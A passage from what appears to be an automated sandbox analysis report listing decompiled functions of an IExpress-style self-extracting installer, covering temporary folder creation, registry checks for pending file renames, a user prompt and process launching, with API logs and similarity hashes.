					E011B16A0(_t32, 0x104, _t20);
					E011B6534(_t32, 0x104,  &_v268); // executed
					RemoveDirectoryA(_t32); // executed
					_t13 = GetFileAttributesA(_t32); // executed
					if(_t13 == 0xffffffff) {
						break;
					}
					if(_t29 < 0x190) {
						continue;
					}
					L3:
					_t30 = 0;
					if(GetTempFileNameA(_t20, "IXP", 0, _t32) != 0) {
						_t30 = 1;
						DeleteFileA(_t32);
						CreateDirectoryA(_t32, 0);
					}
					L5:
					return E011B6C80(_t30, _t20, _v8 ^ _t33, 0x104, _t30, _t32);
				}
				_t14 = CreateDirectoryA(_t32, 0); // executed
				if(_t14 == 0) {
					goto L3;
				}
				_t30 = 1;
				 *0x11b8a20 = 1;
				goto L5;
			}

0x011b536a
0x011b5371
0x011b5377
0x011b5379
0x011b537b
0x011b537d
0x011b538f
0x011b5394
0x011b539e
0x011b53a0
0x011b53b3
0x011b53b9
0x011b53c0
0x011b53c9
0x00000000
0x00000000
0x011b53d1
0x00000000
0x00000000
0x011b53d3
0x011b53d4
0x011b53e5
0x011b53e8
0x011b53e9
0x011b53f2
0x011b53f2
0x011b53f8
0x011b5408
0x011b5408
0x011b540e
0x011b5416
0x00000000
0x00000000
0x011b541a
0x011b541b
0x00000000

APIs

Part of subcall function 011B173E: _vsnprintf.MSVCRT ref: 011B1770

RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011B53B9
GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011B53C0
GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011B53DD
DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011B53E9
CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011B53F2
CreateDirectoryA.KERNELBASE(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011B540E

Strings

IXP%03d.TMP, xrefs: 011B537E
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011B5375, 011B539F, 011B53DC
IXP, xrefs: 011B53D7

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$IXP$IXP%03d.TMP
API String ID: 1082909758-775753704
Opcode ID: 6b23d6b86ff4612e0065b314c7607776b63b38f3ab58813e6006016a98429a2f
Instruction ID: 711811659bf289b7950f0d7b99c42456eb4b43bd2a9adc50a96773312290ce28
Opcode Fuzzy Hash: 6b23d6b86ff4612e0065b314c7607776b63b38f3ab58813e6006016a98429a2f
Instruction Fuzzy Hash: 5B119D7170521477E76CAB26ACC8FEF7A6EDFD5724F100024F266D3280DBB489828764

Uniqueness

Uniqueness Score: -1.00%

Function 011B2570, Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 74
registryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E011B2570(signed int __ecx) {
				int _v8;
				void* _v12;
				signed int _t13;
				signed int _t19;
				long _t24;
				void* _t26;
				int _t31;
				void* _t34;

				_push(__ecx);
				_push(__ecx);
				_t13 = __ecx & 0x0000ffff;
				_t31 = 0;
				if(_t13 == 0) {
					_t31 = E011B24E5(_t26);
				} else {
					_t34 = _t13 - 1;
					if(_t34 == 0) {
						_v8 = 0;
						if(RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager\\FileRenameOperations", 0, 0x20019,  &_v12) != 0) {
							goto L7;
						} else {
							_t19 = RegQueryInfoKeyA(_v12, 0, 0, 0, 0, 0, 0,  &_v8, 0, 0, 0, 0);
							goto L6;
						}
						L12:
					} else {
						if(_t34 > 0 && __ecx <= 3) {
							_v8 = 0;
							_t24 = RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager", 0, 0x20019,  &_v12); // executed
							if(_t24 == 0) {
								_t19 = RegQueryValueExA(_v12, "PendingFileRenameOperations", 0, 0, 0,  &_v8); // executed
								L6:
								asm("sbb eax, eax");
								_v8 = _v8 &  !( ~_t19);
								RegCloseKey(_v12); // executed
							}
							L7:
							_t31 = _v8;
						}
					}
				}
				return _t31;
				goto L12;
			}

0x011b2575
0x011b2576
0x011b2578
0x011b257b
0x011b2580
0x011b262a
0x011b2586
0x011b2589
0x011b258c
0x011b25ee
0x011b260a
0x00000000
0x011b260c
0x011b261d
0x00000000
0x011b261d
0x00000000
0x011b258e
0x011b258e
0x011b25a1
0x011b25b5
0x011b25bd
0x011b25ce
0x011b25d4
0x011b25d9
0x011b25dd
0x011b25e0
0x011b25e0
0x011b25e6
0x011b25e6
0x011b25e6
0x011b258e
0x011b258c
0x011b2630
0x00000000

APIs

RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Control\Session Manager,00000000,00020019,?,00000000,?,?,?,011B1EE3,00000001,00000000,011B4121,?,011B4082), ref: 011B25B5
RegQueryValueExA.KERNELBASE(?,PendingFileRenameOperations,00000000,00000000,00000000,011B4082,?,011B1EE3,00000001,00000000,011B4121,?,011B4082), ref: 011B25CE
RegCloseKey.KERNELBASE(?,?,011B1EE3,00000001,00000000,011B4121,?,011B4082), ref: 011B25E0
RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Session Manager\FileRenameOperations,00000000,00020019,?,00000000,?,?,?,011B1EE3,00000001,00000000,011B4121,?,011B4082), ref: 011B2602
RegQueryInfoKeyA.ADVAPI32 ref: 011B261D

Strings

System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 011B25F8
PendingFileRenameOperations, xrefs: 011B25C6
System\CurrentControlSet\Control\Session Manager, xrefs: 011B25AB

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: 3e7327b853e7b40bf578fab40a121d751c60872b9a250d8ba76a16695594446d
Instruction ID: 8a4846eb36e1db52e6cb6b6c1ed54103ad930745364d7ccc4b7e95db051c9b84
Opcode Fuzzy Hash: 3e7327b853e7b40bf578fab40a121d751c60872b9a250d8ba76a16695594446d
Instruction Fuzzy Hash: 2A115475945228BBDB389BA69C89DEB7E7CEF057A1F004065F905E3004D770AA49D6A0

Uniqueness

Uniqueness Score: -1.00%

Function 011B6A00, Relevance: 13.6, APIs: 9, Instructions: 144
sleepCOMMON

Download Yara Rule

C-Code - Quality: 49%

			_entry_(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t26;
				signed int _t27;
				signed int _t30;
				int _t31;
				signed int _t37;
				signed char _t42;
				signed int _t56;
				signed int _t57;
				intOrPtr _t60;
				signed int _t62;
				signed int _t63;
				intOrPtr* _t65;
				void* _t67;
				void* _t74;
				void* _t75;

				E011B7105();
				_push(0x58);
				_push(0x11b7268);
				E011B71B8(__ebx, __edi, __esi);
				 *(_t67 - 0x20) = 0;
				GetStartupInfoW(_t67 - 0x68);
				 *((intOrPtr*)(_t67 - 4)) = 0;
				_t60 =  *((intOrPtr*)( *[fs:0x18] + 4));
				_t56 = 0;
				while(1) {
					asm("lock cmpxchg [edx], ecx");
					if(0 == 0) {
						break;
					}
					if(0 != _t60) {
						Sleep(0x3e8);
						continue;
					} else {
						_t62 = 1;
						_t56 = 1;
					}
					L7:
					_t74 =  *0x11b88b0 - _t62; // 0x2
					if(_t74 != 0) {
						__eflags =  *0x11b88b0; // 0x2
						if(__eflags != 0) {
							 *0x11b81e4 = _t62;
							goto L13;
						} else {
							 *0x11b88b0 = _t62;
							_t37 = E011B6BE9(0x11b10b8, 0x11b10c4); // executed
							__eflags = _t37;
							if(__eflags == 0) {
								goto L13;
							} else {
								 *((intOrPtr*)(_t67 - 4)) = 0xfffffffe;
								_t31 = 0xff;
							}
						}
					} else {
						_push(0x1f);
						L011B6F9E();
						L13:
						_t75 =  *0x11b88b0 - _t62; // 0x2
						if(_t75 == 0) {
							_push(0x11b10b4);
							_push(0x11b10ac);
							L011B71B0();
							 *0x11b88b0 = 2;
						}
						if(_t56 == 0) {
							 *0x11b88ac = 0;
						}
						_t78 =  *0x11b88b4;
						if( *0x11b88b4 != 0 && E011B7010(_t78, 0x11b88b4) != 0) {
							_t65 =  *0x11b88b4; // 0x0
							 *0x11ba288(0, 2, 0);
							 *_t65();
						}
						_t26 = __imp___acmdln; // 0x76985b9c
						_t63 =  *_t26;
						 *(_t67 - 0x1c) = _t63;
						_t57 =  *(_t67 - 0x20);
						while(1) {
							_t42 =  *_t63;
							if(_t42 > 0x20) {
								goto L32;
							}
							if(_t42 != 0) {
								if(_t57 != 0) {
									goto L32;
								} else {
									while(_t42 != 0 && _t42 <= 0x20) {
										_t63 = _t63 + 1;
										 *(_t67 - 0x1c) = _t63;
										_t42 =  *_t63;
									}
								}
							}
							__eflags =  *(_t67 - 0x3c) & 0x00000001;
							if(( *(_t67 - 0x3c) & 0x00000001) == 0) {
								_t30 = 0xa;
							} else {
								_t30 =  *(_t67 - 0x38) & 0x0000ffff;
							}
							_push(_t30);
							_t31 = E011B2BF2(0x11b0000, 0, _t63); // executed
							 *0x11b81e0 = _t31;
							__eflags =  *0x11b81f8;
							if( *0x11b81f8 == 0) {
								exit(_t31); // executed
								goto L32;
							}
							__eflags =  *0x11b81e4;
							if( *0x11b81e4 == 0) {
								__imp___cexit();
								_t31 =  *0x11b81e0; // 0x0
							}
							 *((intOrPtr*)(_t67 - 4)) = 0xfffffffe;
							goto L40;
							L32:
							__eflags = _t42 - 0x22;
							if(_t42 == 0x22) {
								__eflags = _t57;
								_t15 = _t57 == 0;
								__eflags = _t15;
								_t57 = 0 | _t15;
								 *(_t67 - 0x20) = _t57;
							}
							_t27 = _t42 & 0x000000ff;
							__imp___ismbblead(_t27);
							__eflags = _t27;
							if(_t27 != 0) {
								_t63 = _t63 + 1;
								__eflags = _t63;
								 *(_t67 - 0x1c) = _t63;
							}
							_t63 = _t63 + 1;
							 *(_t67 - 0x1c) = _t63;
						}
					}
					L40:
					 *[fs:0x0] =  *((intOrPtr*)(_t67 - 0x10));
					return _t31;
				}
				_t62 = 1;
				__eflags = 1;
				goto L7;
			}

0x011b6a00
0x011b6a0a
0x011b6a0c
0x011b6a11
0x011b6a18
0x011b6a1f
0x011b6a25
0x011b6a2e
0x011b6a31
0x011b6a33
0x011b6a3c
0x011b6a42
0x00000000
0x00000000
0x011b6a46
0x011b6a54
0x00000000
0x011b6a48
0x011b6a4a
0x011b6a4b
0x011b6a4b
0x011b6a5f
0x011b6a5f
0x011b6a65
0x011b6a71
0x011b6a77
0x011b6aa5
0x00000000
0x011b6a79
0x011b6a79
0x011b6a89
0x011b6a90
0x011b6a92
0x00000000
0x011b6a94
0x011b6a94
0x011b6a9b
0x011b6a9b
0x011b6a92
0x011b6a67
0x011b6a67
0x011b6a69
0x011b6aab
0x011b6aab
0x011b6ab1
0x011b6ab3
0x011b6ab8
0x011b6abd
0x011b6ac4
0x011b6ac4
0x011b6ad0
0x011b6ad9
0x011b6ad9
0x011b6adb
0x011b6ae2
0x011b6af7
0x011b6aff
0x011b6b05
0x011b6b05
0x011b6b07
0x011b6b0c
0x011b6b0e
0x011b6b11
0x011b6b14
0x011b6b14
0x011b6b19
0x00000000
0x00000000
0x011b6b1d
0x011b6b21
0x00000000
0x00000000
0x011b6b23
0x011b6b2c
0x011b6b2d
0x011b6b30
0x011b6b30
0x011b6b23
0x011b6b21
0x011b6b34
0x011b6b38
0x011b6b42
0x011b6b3a
0x011b6b3a
0x011b6b3a
0x011b6b43
0x011b6b4b
0x011b6b50
0x011b6b55
0x011b6b5c
0x011b6b5f
0x00000000
0x011b6b5f
0x011b6bbe
0x011b6bc5
0x011b6bc7
0x011b6bcd
0x011b6bcd
0x011b6bd2
0x00000000
0x011b6b65
0x011b6b65
0x011b6b68
0x011b6b6c
0x011b6b6e
0x011b6b6e
0x011b6b71
0x011b6b73
0x011b6b73
0x011b6b76
0x011b6b7a
0x011b6b81
0x011b6b83
0x011b6b85
0x011b6b85
0x011b6b86
0x011b6b86
0x011b6b89
0x011b6b8a
0x011b6b8a
0x011b6b14
0x011b6bd9
0x011b6bdc
0x011b6be8
0x011b6be8
0x011b6a5e
0x011b6a5e
0x00000000

APIs

Part of subcall function 011B7105: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 011B7132
Part of subcall function 011B7105: GetCurrentProcessId.KERNEL32 ref: 011B7141
Part of subcall function 011B7105: GetCurrentThreadId.KERNEL32 ref: 011B714A
Part of subcall function 011B7105: GetTickCount.KERNEL32 ref: 011B7153
Part of subcall function 011B7105: QueryPerformanceCounter.KERNEL32(?), ref: 011B7168

GetStartupInfoW.KERNEL32(?,011B7268,00000058), ref: 011B6A1F
Sleep.KERNEL32(000003E8), ref: 011B6A54
_amsg_exit.MSVCRT ref: 011B6A69
_initterm.MSVCRT ref: 011B6ABD
__IsNonwritableInCurrentImage.LIBCMT ref: 011B6AE9
exit.KERNELBASE ref: 011B6B5F
_ismbblead.MSVCRT ref: 011B6B7A

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Current$Time$CountCounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThreadTick_amsg_exit_initterm_ismbbleadexit
String ID:
API String ID: 836923961-0
Opcode ID: 101877fa37b27181cff42171afc17e7059caa83e385406204d082ccc957bebee
Instruction ID: 840c2ddcafcd4ab026da24bcd88e174aa5d8dc032c09668a6b95c1037aa1310f
Opcode Fuzzy Hash: 101877fa37b27181cff42171afc17e7059caa83e385406204d082ccc957bebee
Instruction Fuzzy Hash: EA41C131A042659FEB3D9F69E9D47EA7BF8FB54B20F14402AE951E32C0CB704880CB51

Uniqueness

Uniqueness Score: -1.00%

Function 011B5880, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 73
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E011B5880(intOrPtr* __ecx) {
				void* _v8;
				intOrPtr _t6;
				void* _t10;
				void* _t12;
				void* _t14;
				signed char _t16;
				void* _t20;
				void* _t23;
				intOrPtr* _t27;
				CHAR* _t33;

				_push(__ecx);
				_t33 = __ecx;
				_t27 = __ecx;
				_t23 = __ecx + 1;
				do {
					_t6 =  *_t27;
					_t27 = _t27 + 1;
				} while (_t6 != 0);
				_t36 = _t27 - _t23 + 0x14;
				_t20 = LocalAlloc(0x40, _t27 - _t23 + 0x14);
				if(_t20 != 0) {
					E011B16A0(_t20, _t36, _t33);
					E011B6534(_t20, _t36, "TMP4351$.TMP");
					_t10 = CreateFileA(_t20, 0x40000000, 0, 0, 1, 0x4000080, 0); // executed
					_v8 = _t10;
					LocalFree(_t20);
					_t12 = _v8;
					if(_t12 == 0xffffffff) {
						goto L4;
					} else {
						CloseHandle(_t12);
						_t16 = GetFileAttributesA(_t33); // executed
						if(_t16 == 0xffffffff || (_t16 & 0x00000010) == 0) {
							goto L4;
						} else {
							 *0x11b9124 = 0;
							_t14 = 1;
						}
					}
				} else {
					E011B4495(0, 0x4b5, 0, 0, 0x10, 0);
					L4:
					 *0x11b9124 = E011B6233();
					_t14 = 0;
				}
				return _t14;
			}

0x011b5885
0x011b5889
0x011b588b
0x011b588d
0x011b5890
0x011b5890
0x011b5892
0x011b5893
0x011b5899
0x011b58a5
0x011b58a9
0x011b58d4
0x011b58e2
0x011b58f9
0x011b5900
0x011b5903
0x011b5909
0x011b590f
0x00000000
0x011b5911
0x011b5912
0x011b5919
0x011b5922
0x00000000
0x011b5928
0x011b592a
0x011b5930
0x011b5930
0x011b5922
0x011b58ab
0x011b58b9
0x011b58be
0x011b58c3
0x011b58c8
0x011b58c8
0x011b58ce

APIs

LocalAlloc.KERNEL32(00000040,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,011B54F0,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011B589F
CreateFileA.KERNELBASE(00000000,40000000,00000000,00000000,00000001,04000080,00000000,TMP4351$.TMP,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,011B54F0,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011B58F9
LocalFree.KERNEL32(00000000,?,011B54F0,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011B5903
CloseHandle.KERNEL32(00000000,?,011B54F0,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011B5912
GetFileAttributesA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,011B54F0,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011B5919

Strings

TMP4351$.TMP, xrefs: 011B58D9
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011B5885, 011B5887, 011B58CF, 011B5918

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: FileLocal$AllocAttributesCloseCreateFreeHandle
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$TMP4351$.TMP
API String ID: 747627703-1664176527
Opcode ID: 9a2f406792e3d1c049d9fd65707a981c1d9a2a638d96af4823448778ec9bd64e
Instruction ID: 75b50655dacfd5e89de80f42545c965b63c1498d5554dd22ac75877603c64aad
Opcode Fuzzy Hash: 9a2f406792e3d1c049d9fd65707a981c1d9a2a638d96af4823448778ec9bd64e
Instruction Fuzzy Hash: 9611E2716012107BE73C1B7AACCCADB7E5EDF4A6A4F100629F626E3185DB70984683A0

Uniqueness

Uniqueness Score: -1.00%

Function 011B3FDB, Relevance: 10.6, APIs: 7, Instructions: 96
processsynchronizationwindowCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E011B3FDB(CHAR* __ecx, struct _STARTUPINFOA* __edx) {
				signed int _v8;
				char _v524;
				long _v528;
				struct _PROCESS_INFORMATION _v544;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t20;
				void* _t22;
				int _t25;
				intOrPtr* _t39;
				signed int _t44;
				void* _t49;
				signed int _t50;
				intOrPtr _t53;

				_t45 = __edx;
				_t20 =  *0x11b8004; // 0x714bc98c
				_v8 = _t20 ^ _t50;
				_t39 = __ecx;
				_t49 = 1;
				_t22 = 0;
				if(__ecx == 0) {
					L13:
					return E011B6C80(_t22, _t39, _v8 ^ _t50, _t45, 0, _t49);
				}
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t25 = CreateProcessA(0, __ecx, 0, 0, 0, 0x20, 0, 0, __edx,  &_v544); // executed
				if(_t25 == 0) {
					 *0x11b9124 = E011B6233();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v524, 0x200, 0);
					_t45 = 0x4c4;
					E011B4495(0, 0x4c4, _t39,  &_v524, 0x10, 0);
					L11:
					_t49 = 0;
					L12:
					_t22 = _t49;
					goto L13;
				}
				WaitForSingleObject(_v544.hProcess, 0xffffffff);
				_t34 = GetExitCodeProcess(_v544.hProcess,  &_v528); // executed
				_t44 = _v528;
				_t53 =  *0x11b8a28; // 0x0
				if(_t53 == 0) {
					_t34 =  *0x11b9a2c; // 0x0
					if((_t34 & 0x00000001) != 0 && (_t34 & 0x00000002) == 0) {
						_t34 = _t44 & 0xff000000;
						if((_t44 & 0xff000000) == 0xaa000000) {
							 *0x11b9a2c = _t44;
						}
					}
				}
				E011B4105(_t34, _t44);
				CloseHandle(_v544.hThread);
				CloseHandle(_v544);
				if(( *0x11b9a34 & 0x00000400) == 0 || _v528 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x011b3fdb
0x011b3fe6
0x011b3fed
0x011b3ff4
0x011b3ff6
0x011b3ff7
0x011b3ffc
0x011b40f6
0x011b4104
0x011b4104
0x011b4008
0x011b4009
0x011b400a
0x011b400b
0x011b401f
0x011b4027
0x011b40b6
0x011b40d5
0x011b40e4
0x011b40ed
0x011b40f2
0x011b40f2
0x011b40f4
0x011b40f4
0x00000000
0x011b40f4
0x011b4035
0x011b4048
0x011b404e
0x011b4054
0x011b405a
0x011b405c
0x011b4063
0x011b406b
0x011b4075
0x011b4077
0x011b4077
0x011b4075
0x011b4063
0x011b407d
0x011b4088
0x011b4094
0x011b40a4
0x00000000
0x011b40ae
0x00000000
0x011b40ae

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?,?,?,00000000), ref: 011B401F
WaitForSingleObject.KERNEL32(?,000000FF), ref: 011B4035
GetExitCodeProcess.KERNELBASE ref: 011B4048
CloseHandle.KERNEL32(?), ref: 011B4088
CloseHandle.KERNEL32(?), ref: 011B4094
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 011B40C8
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 011B40D5

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-0
Opcode ID: 52045f482ef94d30e01c21fc5179d96f3a3e24ae624d779c01fbe691fa89135f
Instruction ID: 7482b60eecc2807171d0cf9b23105fc2f0fd7a0d330a1244507bcf823753e2db
Opcode Fuzzy Hash: 52045f482ef94d30e01c21fc5179d96f3a3e24ae624d779c01fbe691fa89135f
Instruction Fuzzy Hash: 37318F71641218ABEB389B29ECC8FEA777CEB94744F1040B9F626D2155C73049828B21

Uniqueness

Uniqueness Score: -1.00%

Function 011B51A5, Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E011B51A5(void* __eflags) {
				int _t5;
				void* _t6;
				void* _t28;

				_t1 = E011B4669("UPROMPT", 0, 0) + 1; // 0x1
				_t28 = LocalAlloc(0x40, _t1);
				if(_t28 != 0) {
					if(E011B4669("UPROMPT", _t28, _t29) != 0) {
						_t5 = lstrcmpA(_t28, "<None>"); // executed
						if(_t5 != 0) {
							_t6 = E011B4495(0, 0x3e9, _t28, 0, 0x20, 4);
							LocalFree(_t28);
							if(_t6 != 6) {
								 *0x11b9124 = 0x800704c7;
								L10:
								return 0;
							}
							 *0x11b9124 = 0;
							L6:
							return 1;
						}
						LocalFree(_t28);
						goto L6;
					}
					E011B4495(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree(_t28);
					 *0x11b9124 = 0x80070714;
					goto L10;
				}
				E011B4495(0, 0x4b5, 0, 0, 0x10, 0);
				 *0x11b9124 = E011B6233();
				goto L10;
			}

0x011b51bb
0x011b51c7
0x011b51cb
0x011b51fc
0x011b5228
0x011b5230
0x011b524b
0x011b5253
0x011b525c
0x011b5266
0x011b5270
0x00000000
0x011b5270
0x011b525e
0x011b5239
0x00000000
0x011b523b
0x011b5233
0x00000000
0x011b5233
0x011b520a
0x011b5210
0x011b5216
0x00000000
0x011b5216
0x011b51d9
0x011b51e3
0x00000000

APIs

Part of subcall function 011B4669: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011B467A
Part of subcall function 011B4669: SizeofResource.KERNEL32(00000000,00000000,?,011B2D11,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B4683
Part of subcall function 011B4669: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011B469D
Part of subcall function 011B4669: LoadResource.KERNEL32(00000000,00000000,?,011B2D11,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B46A6
Part of subcall function 011B4669: LockResource.KERNEL32(00000000,?,011B2D11,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B46AD
Part of subcall function 011B4669: memcpy_s.MSVCRT ref: 011B46BF
Part of subcall function 011B4669: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 011B46C9

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,011B2F40,?,00000002,00000000), ref: 011B51C1
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 011B5210

Part of subcall function 011B4495: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 011B44F4
Part of subcall function 011B4495: MessageBoxA.USER32(?,?,gGhd,00010010), ref: 011B4530

Part of subcall function 011B6233: GetLastError.KERNEL32(011B5B72), ref: 011B6233

Strings

<None>, xrefs: 011B5222
UPROMPT, xrefs: 011B51AF, 011B51F0

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: <None>$UPROMPT
API String ID: 957408736-2980973527
Opcode ID: 631bb70d6cac9ef67e36b22f1b77c3c424fa7a7281bc71c3ee78b0c372f28d4d
Instruction ID: e67833aaff13a1ee702e1b4b75867ab32efbccd35a44d88b58ea46b2c7e26e27
Opcode Fuzzy Hash: 631bb70d6cac9ef67e36b22f1b77c3c424fa7a7281bc71c3ee78b0c372f28d4d
Instruction Fuzzy Hash: 121134F1201201FFE36D6B71A8C8FBB309EDF88298F00807DF652E6184EB798C025224

Uniqueness

Uniqueness Score: -1.00%

Function 011B5276, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64
fileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E011B5276(void* __ebx, char* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				char _v268;
				signed int _t9;
				signed int _t11;
				void* _t21;
				void* _t29;
				CHAR** _t31;
				void* _t32;
				signed int _t33;

				_t28 = __edi;
				_t22 = __ecx;
				_t21 = __ebx;
				_t9 =  *0x11b8004; // 0x714bc98c
				_v8 = _t9 ^ _t33;
				_push(__esi);
				_t31 =  *0x11b91e0; // 0x383d570
				if(_t31 != 0) {
					_push(__edi);
					do {
						_t29 = _t31;
						if( *0x11b8a24 == 0 &&  *0x11b9a30 == 0) {
							SetFileAttributesA( *_t31, 0x80); // executed
							DeleteFileA( *_t31); // executed
						}
						_t31 = _t31[1];
						LocalFree( *_t29);
						LocalFree(_t29);
					} while (_t31 != 0);
					_pop(_t28);
				}
				_t11 =  *0x11b8a20; // 0x0
				_pop(_t32);
				if(_t11 != 0 &&  *0x11b8a24 == 0 &&  *0x11b9a30 == 0) {
					_push(_t22);
					E011B17A1( &_v268, 0x104, _t22, "C:\Users\jones\AppData\Local\Temp\IXP000.TMP\");
					if(( *0x11b9a34 & 0x00000020) != 0) {
						E011B6592( &_v268);
					}
					SetCurrentDirectoryA(".."); // executed
					_t22 =  &_v268;
					E011B2395( &_v268);
